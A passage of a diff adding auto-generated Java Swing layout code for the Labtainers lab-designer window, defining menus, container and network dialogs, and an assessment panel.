javax.swing.JPopupMenu.Separator(); + PreferencesMenuItem = new javax.swing.JMenuItem(); + jSeparator5 = new javax.swing.JPopupMenu.Separator(); + ExitMenuItem = new javax.swing.JMenuItem(); + RunMenu = new javax.swing.JMenu(); + RunLabMenu = new javax.swing.JMenuItem(); + BuildAndRun = new javax.swing.JMenuItem(); + BuildOnlyMenuItem = new javax.swing.JMenuItem(); + LocalBuildCheckbox = new javax.swing.JCheckBoxMenuItem(); + StopLabMenuItem = new javax.swing.JMenuItem(); + checkWorkMenuItem = new javax.swing.JMenuItem(); + SimLabMenu = new javax.swing.JMenuItem(); + GradeLabMenu = new javax.swing.JMenuItem(); + StopGraderMenu = new javax.swing.JMenuItem(); + EditMenu = new javax.swing.JMenu(); + AboutLabMenuItem = new javax.swing.JMenuItem(); + LabDocumentsMenuItem = new javax.swing.JMenuItem(); + readfirstMenu = new javax.swing.JMenuItem(); + SimlabDirectivesMenuItem = new javax.swing.JMenuItem(); + configMenuItem = new javax.swing.JMenuItem(); + keywordsMenuItem = new javax.swing.JMenuItem(); + HelpMenu = new javax.swing.JMenu(); + DesignerMenuItem = new javax.swing.JMenuItem(); + StudentMenuItem = new javax.swing.JMenuItem(); + InstructorMenuItem = new javax.swing.JMenuItem(); + ViewMenu = new javax.swing.JMenu(); + labtainerLogMenuItem = new javax.swing.JMenuItem(); + buildMenuItem = new javax.swing.JMenuItem(); + + ContainerAddDialog.setTitle("Adding New Container"); + ContainerAddDialog.setMinimumSize(new java.awt.Dimension(433, 220)); + ContainerAddDialog.setResizable(false); + + jLabel3.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N + jLabel3.setText("Provide container name and the docker base image used:"); + + jLabel4.setFont(new java.awt.Font("Arial", 1, 14)); // NOI18N + jLabel4.setText("Name: "); + + jLabel5.setFont(new java.awt.Font("Arial", 1, 14)); // NOI18N + jLabel5.setText("Base Image:"); + + ContainerAddDialogNameTextfield.setMinimumSize(new java.awt.Dimension(300, 20)); + ContainerAddDialogNameTextfield.setPreferredSize(new java.awt.Dimension(300, 20)); + + ContainerAddDialogCreateButton.setText("Create"); + ContainerAddDialogCreateButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + ContainerAddDialogCreateButtonActionPerformed(evt); + } + }); + + ContainerAddDialogCancelButton.setText("Cancel"); + ContainerAddDialogCancelButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + ContainerAddDialogCancelButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout ContainerAddDialogLayout = new javax.swing.GroupLayout(ContainerAddDialog.getContentPane()); + ContainerAddDialog.getContentPane().setLayout(ContainerAddDialogLayout); + ContainerAddDialogLayout.setHorizontalGroup( + ContainerAddDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ContainerAddDialogLayout.createSequentialGroup() + .addGroup(ContainerAddDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addGroup(ContainerAddDialogLayout.createSequentialGroup() + .addGap(0, 285, Short.MAX_VALUE) + .addComponent(ContainerAddDialogCreateButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(ContainerAddDialogCancelButton)) + .addGroup(ContainerAddDialogLayout.createSequentialGroup() + .addGroup(ContainerAddDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ContainerAddDialogLayout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel3)) + .addGroup(ContainerAddDialogLayout.createSequentialGroup() + .addGap(23, 23, 23) + .addGroup(ContainerAddDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addGroup(ContainerAddDialogLayout.createSequentialGroup() + .addComponent(jLabel4) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(ContainerAddDialogNameTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(ContainerAddDialogLayout.createSequentialGroup() + .addComponent(jLabel5) + .addGap(4, 4, 4) + .addComponent(ContainerAddDialogBaseImageCombobox, 0, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))))) + .addGap(2, 2, 2))) + .addContainerGap(24, Short.MAX_VALUE)) + ); + ContainerAddDialogLayout.setVerticalGroup( + ContainerAddDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ContainerAddDialogLayout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel3) + .addGap(18, 18, 18) + .addGroup(ContainerAddDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel4) + .addComponent(ContainerAddDialogNameTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 31, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(10, 10, 10) + .addGroup(ContainerAddDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(ContainerAddDialogBaseImageCombobox, javax.swing.GroupLayout.PREFERRED_SIZE, 38, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel5)) + .addGap(18, 18, 18) + .addGroup(ContainerAddDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(ContainerAddDialogCreateButton) + .addComponent(ContainerAddDialogCancelButton)) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + + NetworkAddDialog.setTitle("Adding New Network"); + NetworkAddDialog.setMinimumSize(new java.awt.Dimension(400, 500)); + NetworkAddDialog.setResizable(false); + + jLabel7.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N + jLabel7.setText("Please fill the sections below to create a new network:"); + + jLabel11.setFont(new java.awt.Font("Arial", 1, 14)); // NOI18N + jLabel11.setText("MACVLAN:"); + + jLabel12.setFont(new java.awt.Font("Arial", 1, 14)); // NOI18N + jLabel12.setText("MACVLAN_EXT:"); + + NetworkAddDialogNameTextfield.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "Name", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.DEFAULT_POSITION, new java.awt.Font("Dialog", 1, 14))); // NOI18N + NetworkAddDialogNameTextfield.setMinimumSize(new java.awt.Dimension(300, 20)); + NetworkAddDialogNameTextfield.setName(""); // NOI18N + NetworkAddDialogNameTextfield.setPreferredSize(new java.awt.Dimension(300, 20)); + + NetworkAddDialogMaskTextfield.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "Subnet ", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.DEFAULT_POSITION, new java.awt.Font("Dialog", 1, 14))); // NOI18N + NetworkAddDialogMaskTextfield.setMinimumSize(new java.awt.Dimension(300, 20)); + NetworkAddDialogMaskTextfield.setName(""); // NOI18N + NetworkAddDialogMaskTextfield.setPreferredSize(new java.awt.Dimension(300, 20)); + + NetworkAddDialogGatewayTextfield.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "Gateway", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.DEFAULT_POSITION, new java.awt.Font("Dialog", 1, 14))); // NOI18N + NetworkAddDialogGatewayTextfield.setMinimumSize(new java.awt.Dimension(300, 20)); + NetworkAddDialogGatewayTextfield.setName(""); // NOI18N + NetworkAddDialogGatewayTextfield.setPreferredSize(new java.awt.Dimension(300, 20)); + NetworkAddDialogGatewayTextfield.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + NetworkAddDialogGatewayTextfieldActionPerformed(evt); + } + }); + + NetworkAddDialogCreateButton.setText("Create"); + NetworkAddDialogCreateButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + NetworkAddDialogCreateButtonActionPerformed(evt); + } + }); + + NetworkAddDialogCancelButton.setText("Cancel"); + NetworkAddDialogCancelButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + NetworkAddDialogCancelButtonActionPerformed(evt); + } + }); + + NetworkAddDialogMacVLanExtSpinner.setFont(new java.awt.Font("Arial", 0, 12)); // NOI18N + + NetworkAddDialogMacVLanSpinner.setFont(new java.awt.Font("Arial", 0, 12)); // NOI18N + + NetworkAddDialogTapRadioButton.setFont(new java.awt.Font("Ubuntu", 1, 18)); // NOI18N + NetworkAddDialogTapRadioButton.setText("Tap"); + + javax.swing.GroupLayout NetworkAddDialogLayout = new javax.swing.GroupLayout(NetworkAddDialog.getContentPane()); + NetworkAddDialog.getContentPane().setLayout(NetworkAddDialogLayout); + NetworkAddDialogLayout.setHorizontalGroup( + NetworkAddDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(NetworkAddDialogLayout.createSequentialGroup() + .addGroup(NetworkAddDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(NetworkAddDialogLayout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel7)) + .addGroup(NetworkAddDialogLayout.createSequentialGroup() + .addGap(24, 24, 24) + .addGroup(NetworkAddDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(NetworkAddDialogLayout.createSequentialGroup() + .addComponent(jLabel12) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(NetworkAddDialogMacVLanExtSpinner, javax.swing.GroupLayout.PREFERRED_SIZE, 45, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(NetworkAddDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addGroup(NetworkAddDialogLayout.createSequentialGroup() + .addComponent(NetworkAddDialogCreateButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(NetworkAddDialogCancelButton)) + .addGroup(NetworkAddDialogLayout.createSequentialGroup() + .addGroup(NetworkAddDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(NetworkAddDialogTapRadioButton) + .addGroup(NetworkAddDialogLayout.createSequentialGroup() + .addComponent(jLabel11) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(NetworkAddDialogMacVLanSpinner, javax.swing.GroupLayout.PREFERRED_SIZE, 45, javax.swing.GroupLayout.PREFERRED_SIZE))) + .addGap(224, 224, 224))))) + .addGroup(NetworkAddDialogLayout.createSequentialGroup() + .addGap(48, 48, 48) + .addGroup(NetworkAddDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(NetworkAddDialogMaskTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(NetworkAddDialogNameTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 300, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(NetworkAddDialogGatewayTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 300, javax.swing.GroupLayout.PREFERRED_SIZE)))) + .addContainerGap(26, Short.MAX_VALUE)) + ); + NetworkAddDialogLayout.setVerticalGroup( + NetworkAddDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(NetworkAddDialogLayout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel7) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(NetworkAddDialogNameTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 66, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(NetworkAddDialogMaskTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 59, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(18, 18, 18) + .addComponent(NetworkAddDialogGatewayTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 65, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(NetworkAddDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(NetworkAddDialogMacVLanExtSpinner, javax.swing.GroupLayout.DEFAULT_SIZE, 30, Short.MAX_VALUE) + .addComponent(jLabel12)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(NetworkAddDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel11) + .addComponent(NetworkAddDialogMacVLanSpinner, javax.swing.GroupLayout.DEFAULT_SIZE, 30, Short.MAX_VALUE)) + .addGap(27, 27, 27) + .addComponent(NetworkAddDialogTapRadioButton) + .addGap(35, 35, 35) + .addGroup(NetworkAddDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(NetworkAddDialogCreateButton) + .addComponent(NetworkAddDialogCancelButton)) + .addGap(42, 42, 42)) + ); + + labChooser.setCurrentDirectory(null); + labChooser.setFileSelectionMode(javax.swing.JFileChooser.DIRECTORIES_ONLY); + + NewLabDialog.setTitle("Creating New Lab"); + NewLabDialog.setMinimumSize(new java.awt.Dimension(469, 200)); + + jLabel6.setFont(new java.awt.Font("Dialog", 1, 15)); // NOI18N + jLabel6.setText("Name"); + + jLabel14.setFont(new java.awt.Font("Dialog", 1, 15)); // NOI18N + jLabel14.setText("Base Image"); + + NewLabNameTextfield.setFont(new java.awt.Font("Dialog", 0, 15)); // NOI18N + + NewLabCreateButton.setText("Create"); + NewLabCreateButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + NewLabCreateButtonActionPerformed(evt); + } + }); + + NewLabCancelButton.setText("Cancel"); + NewLabCancelButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + NewLabCancelButtonActionPerformed(evt); + } + }); + + LabExistLabel.setText("Lab already exists!"); + + javax.swing.GroupLayout NewLabDialogLayout = new javax.swing.GroupLayout(NewLabDialog.getContentPane()); + NewLabDialog.getContentPane().setLayout(NewLabDialogLayout); + NewLabDialogLayout.setHorizontalGroup( + NewLabDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(NewLabDialogLayout.createSequentialGroup() + .addGroup(NewLabDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(NewLabDialogLayout.createSequentialGroup() + .addGap(20, 20, 20) + .addComponent(jLabel6) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(NewLabNameTextfield)) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, NewLabDialogLayout.createSequentialGroup() + .addContainerGap() + .addGroup(NewLabDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(NewLabDialogLayout.createSequentialGroup() + .addComponent(jLabel14) + .addGap(4, 4, 4) + .addComponent(NewLabBaseImageComboBox, 0, 344, Short.MAX_VALUE)) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, NewLabDialogLayout.createSequentialGroup() + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 311, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(NewLabCreateButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(NewLabCancelButton))))) + .addContainerGap()) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, NewLabDialogLayout.createSequentialGroup() + .addGap(0, 0, Short.MAX_VALUE) + .addComponent(LabExistLabel) + .addGap(158, 158, 158)) + ); + NewLabDialogLayout.setVerticalGroup( + NewLabDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(NewLabDialogLayout.createSequentialGroup() + .addGap(23, 23, 23) + .addGroup(NewLabDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel6) + .addComponent(NewLabNameTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 37, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(LabExistLabel) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 11, Short.MAX_VALUE) + .addGroup(NewLabDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel14) + .addComponent(NewLabBaseImageComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, 40, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addGroup(NewLabDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(NewLabCreateButton) + .addComponent(NewLabCancelButton)) + .addGap(23, 23, 23)) + ); + + SaveAsDialog.setTitle("Save As"); + SaveAsDialog.setMinimumSize(new java.awt.Dimension(400, 140)); + + SaveAsLabNameTextField.setFont(new java.awt.Font("Ubuntu", 0, 18)); // NOI18N + SaveAsLabNameTextField.setHorizontalAlignment(javax.swing.JTextField.CENTER); + + SaveAsErrorLabel.setText("Lab Already Exists!"); + + SaveAsCancelButton.setText("Cancel"); + SaveAsCancelButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + SaveAsCancelButtonActionPerformed(evt); + } + }); + + SaveAsConfirmButton.setText("Confirm"); + SaveAsConfirmButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + SaveAsConfirmButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout SaveAsDialogLayout = new javax.swing.GroupLayout(SaveAsDialog.getContentPane()); + SaveAsDialog.getContentPane().setLayout(SaveAsDialogLayout); + SaveAsDialogLayout.setHorizontalGroup( + SaveAsDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(SaveAsDialogLayout.createSequentialGroup() + .addContainerGap() + .addGroup(SaveAsDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(SaveAsDialogLayout.createSequentialGroup() + .addGap(0, 0, Short.MAX_VALUE) + .addComponent(SaveAsErrorLabel) + .addGap(0, 0, Short.MAX_VALUE)) + .addComponent(SaveAsLabNameTextField) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, SaveAsDialogLayout.createSequentialGroup() + .addGap(0, 242, Short.MAX_VALUE) + .addComponent(SaveAsConfirmButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(SaveAsCancelButton))) + .addContainerGap()) + ); + SaveAsDialogLayout.setVerticalGroup( + SaveAsDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(SaveAsDialogLayout.createSequentialGroup() + .addContainerGap() + .addComponent(SaveAsLabNameTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(SaveAsErrorLabel) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addGroup(SaveAsDialogLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(SaveAsCancelButton) + .addComponent(SaveAsConfirmButton)) + .addContainerGap()) + ); + + setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); + setTitle("Labtainers"); + setResizable(false); + addMouseListener(new java.awt.event.MouseAdapter() { + public void mouseClicked(java.awt.event.MouseEvent evt) { + formMouseClicked(evt); + } + }); + addWindowListener(new java.awt.event.WindowAdapter() { + public void windowClosing(java.awt.event.WindowEvent evt) { + MainWindow.this.windowClosing(evt); + } + }); + + LabnameLabel.setFont(new java.awt.Font("Arial Black", 0, 18)); // NOI18N + LabnameLabel.setHorizontalAlignment(javax.swing.SwingConstants.LEFT); + LabnameLabel.setText("Lab:"); + + RunningLabel.setFont(new java.awt.Font("Ubuntu", 0, 18)); // NOI18N + RunningLabel.setText("Running: "); + + GraderRunning.setFont(new java.awt.Font("Ubuntu", 0, 18)); // NOI18N + GraderRunning.setText("gradelab"); + + javax.swing.GroupLayout HeaderLayout = new javax.swing.GroupLayout(Header); + Header.setLayout(HeaderLayout); + HeaderLayout.setHorizontalGroup( + HeaderLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, HeaderLayout.createSequentialGroup() + .addGap(20, 20, 20) + .addComponent(LabnameLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addGap(153, 153, 153) + .addGroup(HeaderLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(GraderRunning, javax.swing.GroupLayout.PREFERRED_SIZE, 215, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(RunningLabel, javax.swing.GroupLayout.PREFERRED_SIZE, 201, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(477, 477, 477)) + ); + HeaderLayout.setVerticalGroup( + HeaderLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(HeaderLayout.createSequentialGroup() + .addContainerGap() + .addComponent(LabnameLabel) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + .addGroup(HeaderLayout.createSequentialGroup() + .addComponent(RunningLabel) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(GraderRunning) + .addContainerGap()) + ); + + ContainerPanel.setBorder(javax.swing.BorderFactory.createEtchedBorder()); + ContainerPanel.setMaximumSize(new java.awt.Dimension(384, 400)); + ContainerPanel.setMinimumSize(new java.awt.Dimension(384, 400)); + ContainerPanel.setPreferredSize(new java.awt.Dimension(384, 400)); + + jLabel1.setFont(new java.awt.Font("Arial", 1, 24)); // NOI18N + jLabel1.setText("Containers"); + + ContainerScrollPane.setHorizontalScrollBarPolicy(javax.swing.ScrollPaneConstants.HORIZONTAL_SCROLLBAR_NEVER); + ContainerScrollPane.setAutoscrolls(true); + + ContainerPanePanel.setMaximumSize(new java.awt.Dimension(0, 0)); + ContainerPanePanel.setMinimumSize(new java.awt.Dimension(0, 0)); + ContainerPanePanel.setPreferredSize(new java.awt.Dimension(0, 0)); + ContainerPanePanel.setLayout(new java.awt.FlowLayout(java.awt.FlowLayout.CENTER, 5, 0)); + ContainerScrollPane.setViewportView(ContainerPanePanel); + + addContainerButton.setText("Add"); + addContainerButton.setToolTipText("Add a new container. (Right click containers to change names, delete, etc.)"); + addContainerButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + addContainerButtonActionPerformed(evt); + } + }); + + copyContainerButton.setText("Copy from"); + copyContainerButton.setToolTipText("Copy a container from another lab."); + copyContainerButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + copyContainerButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout ContainerPanelLayout = new javax.swing.GroupLayout(ContainerPanel); + ContainerPanel.setLayout(ContainerPanelLayout); + ContainerPanelLayout.setHorizontalGroup( + ContainerPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ContainerPanelLayout.createSequentialGroup() + .addGap(15, 15, 15) + .addGroup(ContainerPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addGroup(ContainerPanelLayout.createSequentialGroup() + .addComponent(ContainerScrollPane, javax.swing.GroupLayout.DEFAULT_SIZE, 350, Short.MAX_VALUE) + .addGap(15, 15, 15)) + .addGroup(ContainerPanelLayout.createSequentialGroup() + .addComponent(jLabel1) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addGroup(ContainerPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(addContainerButton, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(copyContainerButton, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + .addContainerGap()))) + ); + ContainerPanelLayout.setVerticalGroup( + ContainerPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ContainerPanelLayout.createSequentialGroup() + .addGroup(ContainerPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ContainerPanelLayout.createSequentialGroup() + .addGap(10, 10, 10) + .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 26, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(ContainerPanelLayout.createSequentialGroup() + .addComponent(addContainerButton, javax.swing.GroupLayout.PREFERRED_SIZE, 26, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(copyContainerButton, javax.swing.GroupLayout.PREFERRED_SIZE, 26, javax.swing.GroupLayout.PREFERRED_SIZE))) + .addGap(9, 9, 9) + .addComponent(ContainerScrollPane, javax.swing.GroupLayout.DEFAULT_SIZE, 343, Short.MAX_VALUE) + .addGap(10, 10, 10)) + ); + + NetworkPanel.setBorder(javax.swing.BorderFactory.createEtchedBorder()); + NetworkPanel.setMaximumSize(new java.awt.Dimension(384, 400)); + NetworkPanel.setMinimumSize(new java.awt.Dimension(384, 400)); + NetworkPanel.setPreferredSize(new java.awt.Dimension(384, 400)); + + jLabel2.setFont(new java.awt.Font("Arial", 1, 24)); // NOI18N + jLabel2.setText("Networks"); + + NetworkScrollPane.setHorizontalScrollBarPolicy(javax.swing.ScrollPaneConstants.HORIZONTAL_SCROLLBAR_NEVER); + NetworkScrollPane.setAutoscrolls(true); + + NetworkPanePanel.setMaximumSize(new java.awt.Dimension(0, 0)); + NetworkPanePanel.setMinimumSize(new java.awt.Dimension(0, 0)); + NetworkPanePanel.setPreferredSize(new java.awt.Dimension(0, 0)); + NetworkPanePanel.setLayout(new java.awt.FlowLayout(java.awt.FlowLayout.CENTER, 5, 0)); + NetworkScrollPane.setViewportView(NetworkPanePanel); + + addNetworkButton.setText("Add"); + addNetworkButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + addNetworkButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout NetworkPanelLayout = new javax.swing.GroupLayout(NetworkPanel); + NetworkPanel.setLayout(NetworkPanelLayout); + NetworkPanelLayout.setHorizontalGroup( + NetworkPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, NetworkPanelLayout.createSequentialGroup() + .addGap(15, 15, 15) + .addGroup(NetworkPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addGroup(NetworkPanelLayout.createSequentialGroup() + .addComponent(jLabel2) + .addGap(41, 41, 41) + .addComponent(addNetworkButton, javax.swing.GroupLayout.PREFERRED_SIZE, 82, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addComponent(NetworkScrollPane, javax.swing.GroupLayout.DEFAULT_SIZE, 350, Short.MAX_VALUE)) + .addGap(15, 15, 15)) + ); + NetworkPanelLayout.setVerticalGroup( + NetworkPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(NetworkPanelLayout.createSequentialGroup() + .addGap(10, 10, 10) + .addGroup(NetworkPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel2) + .addComponent(addNetworkButton)) + .addGap(5, 5, 5) + .addComponent(NetworkScrollPane, javax.swing.GroupLayout.DEFAULT_SIZE, 365, Short.MAX_VALUE) + .addGap(10, 10, 10)) + ); + + logo.setText("jLabel17"); + + AssessmentPanel.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "Automated Assessment", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.DEFAULT_POSITION, new java.awt.Font("Dialog", 0, 18))); // NOI18N + + AssessmentButton.setText("Results"); + AssessmentButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + ResultsConfigButtonActionPerformed(evt); + } + }); + + AssessmentButton1.setText("Goals "); + AssessmentButton1.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + GoalsConfigButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout AssessmentPanelLayout = new javax.swing.GroupLayout(AssessmentPanel); + AssessmentPanel.setLayout(AssessmentPanelLayout); + AssessmentPanelLayout.setHorizontalGroup( + AssessmentPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(AssessmentPanelLayout.createSequentialGroup() + .addGap(25, 25, 25) + 